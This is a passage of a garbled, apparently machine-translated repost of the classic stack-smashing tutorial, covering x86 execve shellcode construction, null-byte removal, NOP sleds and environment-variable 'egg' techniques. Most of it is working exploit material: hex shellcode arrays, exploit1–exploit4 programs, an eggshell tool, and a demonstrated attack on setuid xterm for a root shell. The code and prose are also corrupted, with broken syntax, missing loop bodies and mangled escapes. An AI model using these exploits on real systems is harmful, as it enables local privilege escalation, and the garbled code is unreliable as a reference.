address of the empty word into the register EDX. g) Execute the instruction Int $ 0x80. But if the execve () calls for some reason, what is the failure? The program will continue to read the instruction from the stack. At this time, the stack may contain a random data! The program performs such an instruction for ten eight-nine will be dump. If Execv e Call failed us still want the program to be cleanly exited. To this end, add an exit after calling Execve System call. EXIT system calls look like what is the assembly language? Exit.c -------------------------------------------------- ---------------------------- #include Void main () { exit (0); } -------------------------------------------------- ---------------------------- -------------------------------------------------- ---------------------------- [ALEPH1] $ gcc -o exit -static exit.c [ALEPH1] $ GDB EXIT GDB Is Free Software and You Are Welcome to Distribute Copies of IT Under Certain Conditions; Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ... (No Debugging Symbols Found) ... (GDB) Disassemble_exit Dump of assembler code for function _exit: 0x800034C <_exit>: Pushl% EBP 0x800034D <_exit 1>: MOVL% ESP,% EBP 0x800034F <_exit 3>: pushl% EBX 0x8000350 <_exit 4>: MOVL $ 0x1,% EAX 0x8000355 <_exit 9>: MOVL 0x8 (% EBP),% EBX 0x8000358 <_exit 12>: INT $ 0X80 0x800035A <_exit 14>: MOVL 0xFffffFFFC (% EBP),% EBX 0x800035D <_exit 17>: MOVL% EBP,% ESP 0x800035f <_exit 19>: POPL% EBP 0x8000360 <_exit 20>: RET 0x8000361 <_exit 21>: NOP 0x8000362 <_exit 22>: NOP 0x8000363 <_exit 23>: NOP End of assembler dump. -------------------------------------------------- ---------------------------- The system calls EXIT will put the 0x1 in the register EAX, place an exit code in EBX, and perform "INT 0x80". Just these! Most applications returns 0 when exiting, indicating that there is no error. We also put them in EBX. The steps in our construct shell code are this: a) Place the string "/ bin / sh" ending with NULL to somewhere. b) put the address "/ bin / sh" address to memory somewhere, followed by an empty long word (Null Long Word) . c) Put 0xB in the register EAX. d) Place the address of the string "/ bin / sh" to the register EBX. e) Place the address of the string "/ bin / sh" address to the register ECX. (Note: Original D and E step reverse EBX and ECX) f) Place the address of the empty word into the register EDX. g) Execute the instruction Int $ 0x80. h) Put 0x1 in the register EAX. i) Place 0x0 in the register EAX. j) Execute the instruction Int $ 0x80. Try to turn these steps into assembly language, put the string behind the code. Don't forget to put on the string behind the array Address and empty words, we have the following code: -------------------------------------------------- ---------------------------- MOVL STRING_ADDR, STRING_ADDR_ADDR MOVB $ 0x0, NULL_BYTE_ADDR Movl $ 0x0, NULL_ADDR MOVL $ 0XB,% EAX MOVL STRING_ADDR,% EBX LEAL STRING_ADDR,% ECX LEAL NULL_STRING,% EDX INT $ 0x80 MOVL $ 0x1,% EAX MOVL $ 0x0,% EBX INT $ 0x80 / BIN / SH STRING GoES here. -------------------------------------------------- ---------------------------- The problem is that we don't know in the memory space of the program to be crackdown, after the following String) will be put Where. One solution is to use JMP and CALL instructions. JMP and Call instructions use relative IP addressing methods, It is to say that we can jump to a certain location where the current IP is always spacing, and it is not necessary to know the exact location in the memory. Address. If we put a call instruction before the string "/ bin / sh" and turn it on a CALL instruction by a JMP instruction. When the CALL is executed, the address of the string is pressed into the stack as the return address. What we need is Place the return address in a register. The CALL instruction only calls our above the code described. Assume J Generation Table JMP instructions, C represents the CALL instruction, S represents a string, and the execution process is as follows: Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF address Buffer SFP RET A B C <------ [jjssssssssssssccccss] [SSSS] [0xD8] [0x01] [0x02] [0x03] ^ | ^ ^ | | ||| _____________ || ____________ | (1) (2) || _____________ || | ______________ | (3) Stack top stack bottom Use the above correction methods and use relative index addressing, the number of the bytes of each instruction in our code is as follows: -------------------------------------------------- ---------------------------- JMP offset-to-call # 2 bytes POPL% ESI # 1 byte MOVL% ESI, Array-Offset (% ESI) # 3 bytes Movb $ 0x0, NullByteoffset (% ESI) # 4 bytes Movl $ 0x0, Null-Offset (% ESI) # 7 Bytes MOVL $ 0XB,% EAX # 5 bytes MOVL% ESI,% EBX # 2 bytes Leal array-offset (% esi),% ECX # 3 bytes Leal Null-Offset (% ESI),% EDX # 3 bytes INT $ 0x80 # 2 bytes Movl $ 0x1,% EAX # 5 bytes MOVL $ 0x0,% EBX # 5 bytes INT $ 0x80 # 2 bytes Call offset-to-popl # 5 bytes / BIN / SH STRING GoES here. -------------------------------------------------- ---------------------------- By calculating from JMP to CALL, from Call to POPL, from the string address to an array, from the string address to the empty word Garage, we get: -------------------------------------------------- ---------------------------- JMP 0x26 # 2 Bytes POPL% ESI # 1 byte MOVL% ESI, 0x8 (% ESI) # 3 bytes MOVB $ 0x0,0x7 (% esi) # 4 bytes MOVL $ 0x0,0xc (% esi) # 7 bytes MOVL $ 0XB,% EAX # 5 bytes MOVL% ESI,% EBX # 2 bytes Leal 0x8 (% ESI),% ECX # 3 bytes LEAL 0XC (% ESI),% EDX # 3 bytes INT $ 0x80 # 2 bytes Movl $ 0x1,% EAX # 5 bytes MOVL $ 0x0,% EBX # 5 bytes INT $ 0x80 # 2 bytes Call -0x2b # 5 bytes .string / "/ bin / sh /" # 8 bytes -------------------------------------------------- ---------------------------- This looks very good. To ensure that the code can work properly, you must compile and execute. But there is still a problem. Our code modifies itself, but most operating systems mark the code page as read-only. In order to bypass this limit The code to be executed must be put in the stack or data segment, and the control is transferred there. To this, you should put the code to the number According to the global array in the segment. We first need the binary code indicated by 16 credits. First compile, then use GDB Come to get binary code. Shellcodeasm.c -------------------------------------------------- ---------------------------- Void main () { __ASM __ (" JMP 0x2a # 3 bytes POPL% ESI # 1 byte MOVL% ESI, 0x8 (% ESI) # 3 bytes MOVB $ 0x0,0x7 (% esi) # 4 bytes MOVL $ 0x0,0xc (% esi) # 7 bytes MOVL $ 0XB,% EAX # 5 bytes MOVL% ESI,% EBX # 2 bytes Leal 0x8 (% ESI),% ECX # 3 bytes LEAL 0XC (% ESI),% EDX # 3 bytes INT $ 0x80 # 2 bytes Movl $ 0x1,% EAX # 5 bytes MOVL $ 0x0,% EBX # 5 bytes INT $ 0x80 # 2 bytes Call -0x2f # 5 bytes .string / "/ bin / sh /" # 8 bytes "); } -------------------------------------------------- ---------------------------- -------------------------------------------------- ---------------------------- [ALEPH1] $ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [ALEPH1] $ GDB Shellcodeasm GDB Is Free Software and You Are Welcome to Distribute Copies of IT Under Certain Conditions; Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ... (GDB) Disassemble Main Dump of assembler code for function main: 0x8000130 0x8000131 0x8000133 0x8000135 0x8000136 0x8000139 0x800013D 0x8000144 0x8000149 0x800014B 0x800014e 0x8000151 0x8000153 0x8000158 0x800015D 0x800015F 0x8000164 0x8000165 0x8000168 0x8000169 End of assembler dump. (GDB) x / bx main 3 0x8000133 (GDB) 0x8000134 (GDB) . . . -------------------------------------------------- ---------------------------- Testsc.c -------------------------------------------------- ---------------------------- Char shellcode [] = "/ XEB / X2A / X08 / XC6 / X46 / X07 / X00 / XC7 / X46 / X00" "/ X00 / XB8 / X0B / X00 / X00 / X00 / X4E / X08 / X8D / X56 / X0C / XCD / X80" "/ XB8 / X01 / X00 / X00 / X00 / X00 / XCD / X80 / XE8 / XD1 / XFF / XFF" "/ xff / x2f / x62 / x69 / x6e / x2f / x73 / x68 / x00 / x89 / XEC / X5D / XC3"; Void main () { INT * RET; RET = (int *) & ret 2; (* RET) = (int) shellcode; } -------------------------------------------------- ---------------------------- -------------------------------------------------- ---------------------------- [ALEPH1] $ GCC -O Testsc Testsc.c [aleph1] $ ./testsc $ EXIT [aleph1] $ -------------------------------------------------- ---------------------------- It became! But there is still an obstacle, in most cases, we all try to overflow a character buffer. Then any NULL byte in our shellcode is considered to be the end of the string, and the copy work is here. Stop. For our cracking, there is no null byte in shellcode. Below these bytes, Simultaneously streamize the code. Problem Instruction: Substitution with: -------------------------------------------------- -------- MOVB $ 0x0,0x7 (% esi) xorl% Eax,% EAX Molv $ 0x0,0xc (% ESI) MOVB% EAX, 0x7 (% ESI) MOVL% EAX, 0xc (% ESI) -------------------------------------------------- -------- MOVL $ 0XB,% EAX MOVB $ 0XB,% Al -------------------------------------------------- ------ MOVL $ 0x1,% EAX XORL% EBX,% EBX MOVL $ 0x0,% EBX MOVL% EBX,% EAX INC% EAX -------------------------------------------------- -------- Our IMPROVED CODE: Shellcodeasm2.c -------------------------------------------------- ---------------------------- Void main () { __ASM __ (" JMP 0x1f # 2 bytes POPL% ESI # 1 byte MOVL% ESI, 0x8 (% ESI) # 3 bytes XORL% EAX,% EAX # 2 bytes MOVB% EAX, 0x7 (% ESI) # 3 bytes MOVL% EAX, 0xc (% esi) # 3 bytes MovB $ 0XB,% Al # 2 bytes MOVL% ESI,% EBX # 2 bytes Leal 0x8 (% ESI),% ECX # 3 bytes LEAL 0XC (% ESI),% EDX # 3 bytes INT $ 0x80 # 2 bytes XORL% EBX,% EBX # 2 Bytes MOVL% EBX,% EAX # 2 bytes INC% EAX # 1 bytes INT $ 0x80 # 2 bytes Call -0x24 # 5 bytes .string / "/ bin / sh /" # 8 bytes # 46 bytes Total "); } -------------------------------------------------- ---------------------------- And Our New Test Program: Testsc2.c -------------------------------------------------- ---------------------------- Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Void main () { INT * RET; RET = (int *) & ret 2; (* RET) = (int) shellcode; } -------------------------------------------------- ---------------------------- -------------------------------------------------- ---------------------------- [ALEPH1] $ GCC -O Testsc2 Testsc2.c [aleph1] $ ./testsc2 $ EXIT [aleph1] $ -------------------------------------------------- ---------------------------- Crack ~~~~~~~~~~ Now put the tools of your hand ready. We already have shellcode. We know that shellcode must be Part of the overflowed string. We know that the return address must be referred to back to the buffer. The following example explains these points: OVERFLOW1.C -------------------------------------------------- ---------------------------- Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Char large_string [128]; Void main () { Char buffer [96]; INT I; Long * long_ptr = (long *) Large_String; For (i = 0; i <32; i ) * (long_ptr i) = (int) BUFFER; For (i = 0; i Large_string [i] = shellcode [i]; STRCPY (Buffer, Large_String); } -------------------------------------------------- ---------------------------- -------------------------------------------------- ---------------------------- [ALEPH1] $ gcc -o exploit1 exploit1.c [aleph1] $ ./exploit1 $ EXIT exit [aleph1] $ -------------------------------------------------- ---------------------------- As shown above, we fill the Large_String [] array with the address of the buffer [], and shellcode will be Buffer []. Then we copy shellcode to the beginning of the large_string string. Strcpy () does not make He border check copies large_string to the buffer and overrides the return address. Now return address It is our starting position of our shellcode. Once execute to the end of the main function, you will jump to me when trying to return. A shell is obtained in the shellcode. What we face is: How to determine this when trying to overflow another program's buffer overflow Where is the address of the buffer (will have our shellcode)? The answer is: for each program, the start address of the stack They are all identical. Most programs do not press into the stack into a hundred thousand bytes of data. So I know the stack. The start address, we can try to guess this buffer that makes it overflowing. The following applet will print Its stack pointer: Sp.c -------------------------------------------------- ----------------------------------------------------------------- " __ASM __ ("MOVL% ESP,% EAX"); } Void main () { Printf ("0x% x / n", get_sp ()); } -------------------------------------------------- ---------------------------- -------------------------------------------------- ---------------------------- [aleph1] $ ./sp 0x8000470 [aleph1] $ -------------------------------------------------- ---------------------------- Assume that we have to overflow their overflows as follows: Vulnerable.c -------------------------------------------------- ---------------------------- Void Main (int Argc, char * argv []) { Char buffer [512]; IF (Argc> 1) STRCPY (Buffer, Argv [1]); } -------------------------------------------------- ---------------------------- We create a program to accept two parameters, one is the buffer size, the other is from its own stack pointer The offset (this stack pointer indicates the location where we want to overflow the buffer). We put overflow characters Stroke is plan into an environment variable so it is easy to operate. Exploit2.c -------------------------------------------------- ---------------------------- #include #define default_offset 0 #define default_buffer_size 512 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void Main (int Argc, char * argv []) { Char * buff, * PTR; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_sp () - offset; Printf ("Using Address: 0x% X / N", ADDR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; PTR = 4; For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Memcpy (buff, "egg =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } -------------------------------------------------- ---------------------------- Now we try to guess the size and offset of the buffer: -------------------------------------------------- ---------------------------- [ALEPH1] $ ./exploit2 500 Using address: 0xBffffdb4 [ALEPH1] $ ./vulnerable $ EGG [ALEPH1] $ EXIT [ALEPH1] $ ./exploit2 600 Using address: 0xBffffdb4 [ALEPH1] $ ./vulnerable $ EGG Illegal instruction [ALEPH1] $ EXIT [aleph1] $ ./exploit2 600 100 Using address: 0xBffffd4c [ALEPH1] $ ./vulnerable $ EGG Segmentation Fault [ALEPH1] $ EXIT [ALEPH1] $ ./exploit2 600 200 USING Address: 0xBfffffCe8 [ALEPH1] $ ./vulnerable $ EGG Segmentation Fault [ALEPH1] $ EXIT . . . [ALEPH1] $ ./exploit2 600 1564 USING Address: 0xBfffff794 [ALEPH1] $ ./vulnerable $ EGG $ -------------------------------------------------- ---------------------------- As we see, this is not a very efficient process. Even if you know the start address of the stack, taste Try guessed offset is almost impossible. We are likely to test hundreds of times, may not be allowed to be allowed to say. Question The key is that we must * exact * know the address starting at our code. If the deviation evens only one byte we You can only get paragraph error or illegal instruction errors. One way to improve the success rate is to fill in the front section of our overflow buffer Charge NOP instruction. Almost all processors have NOP instructions to perform empty operations. Common for delay purposes. We use it Fill the first half of the overflow buffer. Then put the shellcode in the middle section, followed by returning the address. If we are enough Fortunately, return the address to any location to the NOPS string, the NOP instruction will execute until we have encountered our SHELLCODE. In the Intel architecture, only one byte length is one byte, translation as machine code is 0x90. Assume the stack The start address is 0xFF, S represents shellcode, n represents NOP instructions, the new stack looks like this: Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF AddER BUFFER SFP RET A B C <------ [nnnnnnnnnnssssssssssss] [0xde] [0xde] [0xde] [0xDe] [0xDE] ^ | | | _____________________ | Stack top stack bottom The new crack program is as follows: Exploit3.c -------------------------------------------------- ---------------------------- #include #define default_offset 0 #define default_buffer_size 512 #define nop 0x90 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void Main (int Argc, char * argv []) { Char * buff, * PTR; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_sp () - offset; Printf ("Using Address: 0x% X / N", ADDR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; For (i = 0; i BUFF [I] = NOP; PTR = BUFF ((BSIZE / 2) - (Strlen (shellcode) / 2); For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Memcpy (buff, "egg =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } -------------------------------------------------- ---------------------------- The buffer size we use is preferably 100 bytes larger than the buffer to overflow. We are going to make it Place shellcode at the end of the spilled buffer, leave enough space for the NOP instruction, still use the address we speculate To override the return address. Here we want to overflow the buffer size of 512 bytes, so we use 612 bytes. Now use a new crack program to overflow our test program: -------------------------------------------------- ---------------------------- [aleph1] $ ./exploit3 612 Using address: 0xBffffdb4 [ALEPH1] $ ./vulnerable $ EGG $ -------------------------------------------------- ---------------------------- Wow! One hit! This improvement has improved our hit rate. Try one in a real environment. The down buffer overflows. Use the method we told on the XT library. In the example, we use XTERM (actually all The programs connected to the XT library have a vulnerability). To run x server on your computer and allow local connections. Set the Display variable. -------------------------------------------------- ---------------------------- [ALEPH1] $ export display =: 0.0 [ALEPH1] $ ./exploit3 1124 Using address: 0xBffffdb4 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG Warning: color name "隵 1F ° Bamboo ? @ よ? IN / SHI い い い い い い い い い い い い い い い い い い い い IM I I didn't buy it. (Truncated this is truncated) い い い い い い い い? ^ C [ALEPH1] $ EXIT [aleph1] $ ./exploit3 2148 100 Using address: 0xBffffd48 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG Warning: color name "隵 1F ° Bamboo ? へ @ よ? IN / SH Bamboo (Truncated this is truncated) 縃縃arning: Some Arguments in Previous Message Were Lost Illegal instruction [ALEPH1] $ EXIT . . . [ALEPH1] $ ./exploit4 2148 600 Using address: 0xBffffb54 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG Warning: color name "隵 1F ° Bamboo ? へ @ よ? IN / sh 鸗鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗鸗 鸗鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗鸗? (Truncated this is truncated) 縏鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 Arning: Some Arguments in Previous Message Were Lost Bash $ -------------------------------------------------- ---------------------------- Eureka! Just try to try it only! If xterm is installed with Suid Root, we have got a root shell. Overflow of the small buffer ~~~~~~~~~~~~~~~~ Sometimes it is too small to overflow a buffer, so that shellcode can't go in, so return the address. Will be covered by the instead of the address we speculate, or shellcode is put in, but it can't fill it. Sufficient NOP instructions, which speculates that the success rate of the address is very low. To get from this program (small buffer) A shell, we must think other ways. This method introduced will only be able to access the program's environment variable Effective. What we do is put shellcode in an environment variable, then use this variable to address the address in memory. Make the buffer overflow. This method also improves the success rate of cracking work, because the environment of saving shellcode How big is it necessary to want to do it? When the program starts, the environment variable is stored at the top of the stack, and any modification action using STENV () will be in other The place to reassign space. The stack at the beginning is as follows: Our new program uses an additional variable, the variable size can accommodate Shellcode and NOP instructions. The new crack program is as follows: Exploit4.c -------------------------------------------------- ---------------------------- #include #define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048 #define nop 0x90 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_esp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void Main (int Argc, char * argv []) { Char * buff, * ptr, * EGG; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I, Eggsize = Default_EGG_SIZE; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (Argc> 3) Eggsize = ATOI (Argv [3]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); } IF (! (egg = malloc (eggsize))) { Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_ESP () - offset; Printf ("Using Address: 0x% x / n", addr; PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; PTR = EGG; For (i = 0; I * (PTR ) = NOP; For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Egg [Eggsize - 1] = '/ 0'; Memcpy (EGG, "EGG =", 4); Putenv (EGG); Memcpy (BUFF, "RET =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } -------------------------------------------------- ---------------------------- Try our vulnerability test program with this new crack program: -------------------------------------------------- ---------------------------- [ALEPH1] $ ./exploit4 768 USING Address: 0xBfffFDB0 [ALEPH1] $ ./vulnerable $ RET $ -------------------------------------------------- ---------------------------- Successful, try xterm: -------------------------------------------------- ---------------------------- [ALEPH1] $ export display =: 0.0 [ALEPH1] $ ./exploit4 2148 USING Address: 0xBfffFDB0 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ retent Warning: Color Name "Hey greeten gain greeten to be greeten Hey greeten to hey (Truncated this is truncated) Gutter Warning: Some Arguments in Previous Message Were Lost $ -------------------------------------------------- ---------------------------- One success! It significantly improved our success rate. Relying on cracking procedures and comparing environmental data How much, the address we speculate may also be higher than true value. Positive and negative offset can be tried. Looking for buffer overflow vulnerabilities ~~~~~~~~~~~~~~~~~~~~~ As mentioned earlier, the buffer overflow is a result of filling information that exceeds its processing capability to a buffer. Due to C There is no built-in boundary check, when writing a character array, if it exceeds the end of the array, it will overflow. Out. The standard C language library provides some string replication or add functions without boundaries. Including strcat (), Strcpy (), sprintf (), and vsprintf (). These functions are operated on a string end of a NULL and do not check the overflow. The gets () function reads a row into the buffer from the standard input until the wrap or It is not Check the buffer overflow. Scanf () function family matches a series of non-spaced characters (% s), or from the specified collection (% []) When using non-empty series characters, use the character pointer to the array, and no maximum field width this option, There may be a problem. If the destination address of these functions is a fixed size buffer, the other parameter of the function is The user is entered in some form, it is likely to use the buffer overflow to crack it. Another common programming structure is to read a character from a standard input or a file using the While cycle. In the buffer, until the end of the line or the end, or what other termination is encountered. This structure usually uses GETC (), One of the fgetc (), or getchar () function. If there is no clear overflow check in the While loop, this process The order is very easy to be crack. This shows that grep (1) is a good tool command (helping you find a vulnerability in the program). Free exercise The source code for the system and its tools is readable. When you realize that there are actually a lot of business operating system tools and free software When the same source code is the same, the rest is simple! :-) Appendix A - SHELLCODE for different operating systems / architectures ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386 / linux -------------------------------------------------- ---------------------------- JMP 0x1f POPL% ESI MOVL% ESI, 0x8 (% ESI) XORL% EAX,% EAX MOVB% EAX, 0x7 (% ESI) MOVL% EAX, 0xc (% ESI) MOVB $ 0XB,% Al MOVL% ESI,% EBX LEAL 0x8 (% ESI),% ECX LEAL 0xC (% ESI),% EDX INT $ 0x80 XORL% EBX,% EBX MOVL% EBX,% EAX INC% EAX INT $ 0x80 Call -0x24 .String / "/ bin / sh /" -------------------------------------------------- ---------------------------- Sparc / Solaris -------------------------------------------------- ---------------------------- SETHI 0XBD89A,% L6 OR% L6, 0x16E,% L6 SETHI 0XBDCDA,% L7 And% SP,% SP,% O0 Add% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% sp - 16] ST% SP, [% sp - 8] ST% G0, [% sp - 4] MOV 0x3b,% G1 TA 8 XOR% O7,% O7,% O0 MOV 1,% G1 TA 8 -------------------------------------------------- ---------------------------- SPARC / SunOS -------------------------------------------------- ---------------------------- SETHI 0XBD89A,% L6 OR% L6, 0x16E,% L6 SETHI 0XBDCDA,% L7and% SP,% SP,% O0 Add% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% sp - 16] ST% SP, [% sp - 8] ST% G0, [% sp - 4] MOV 0x3b,% G1 MOV -0x1,% L5 TA% L5 1 XOR% O7,% O7,% O0 MOV 1,% G1 TA% L5 1 -------------------------------------------------- ---------------------------- Appendix B - Universal Buffer Overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h -------------------------------------------------- ---------------------------- #if Defined (__ i386__) && defined (__ linux__) #define NOP_SIZE 1 Char NOP [] = "/ x90"; Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } #ELIF Defined (__ sparc__) && defined (__ sun__) && defined (__ SVR4__) #define NOP_SIZE 4 CHAR NOP [] = "/ xac / x15 / xa1 / x6e"; Char shellcode [] = "/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E" "/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0" "/ XDC / X23 / XBF / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / X91 / XD0 / X20 / X08" "/ x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd0 / x20 / x08"; Unsigned long get_sp (void) { __ASM __ ("OR% SP,% SP,% I0"); } #ELIF Defined (__ sparc__) && defined (__ sun__) #define NOP_SIZE 4 CHAR NOP [] = "/ xac / x15 / xa1 / x6e"; Char shellcode [] = "/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E" "/ x92 / x03 / x1a / x80 / x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0" "/ xdc / x23 / XBF / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / XAA / X10 / X3F / XFF " "/ x91 / xd5 / x60 / x01 / x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd5 / x60 / x01" Unsigned long get_sp (void) { __ASM __ ("OR% SP,% SP,% I0"); } #ENDIF -------------------------------------------------- ---------------------------- Eggshell.c -------------------------------------------------- ---------------------------- / * * Eggshell v1.0 * * Aleph one / aleph1@underround.org * / #include #include #include "shellcode.h" #define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048 Void Usage (Void); Void Main (int Argc, char * argv []) { Char * PTR, * BOF, * EGG; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I, N, M, C, Align = 0, Eggsize = Default_EGG_SIZE DEFT_EGG_SIZE While (C = Getopt (Argc, Argv, "A: B: E: o:"))! = EOF Switch (c) { Case 'a': Align = ATOI (OPTARG); Break; Case 'b': Bsize = atoi (OPTARG); Break; Case 'E': Eggsize = atoi (OPTARG); Break; Case 'o': OFFSET = ATOI (OPTARG); Break; Case '?': USAGE (); exit (0); } IF (Strlen (shellcode> eggsize) { Printf ("shellcode is larger the the egg./N"); exit (0); } IF (! (bof = malloc (bsize)))) { Printf ("Can't Allocate Memory./N); exit (0); } IF (! (egg = malloc (eggsize))) { Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_sp () - offset; Printf ("[buffer size: / t% d / t / tegg size: / t% d / Taligment: / T% D / T] / N", BSize, Eggsize, Align; Printf ("[Address: / T0X% x / Toffset: / T% D / T / T / T / T / T / T / T / T / T / T / T / T%, Addr, Offset) Addr_ptr = (long *) BOF; For (i = 0; i * (addr_ptr ) = addr; PTR = EGG; For (i = 0; i <= eggsize - strlen (shellcode) - NOP_SIZE; i = NOP_SIZE) FOR (n = 0; n M = (N align)% NOP_SIZE; * (PTR ) = NOP [M]; } For (i = 0; i * (PTR ) = shellcode [i]; Bof [BSIZE - 1] = '/ 0'; Egg [Eggsize - 1] = '/ 0'; Memcpy (EGG, "EGG =", 4); Putenv (EGG); Memcpy (BOF, "BOF =", 4); Putenv (BOF); SYSTEM ("/ bin / sh"); } Void usage (void) { (void) FPRINTF (stderr, "USAGE: Eggshell [-a ET>] / N "); } -------------------------------------------------- ---------------------------- - ※ Source:. Sinbad sinbad.dhs.org. [From: www] I want to comment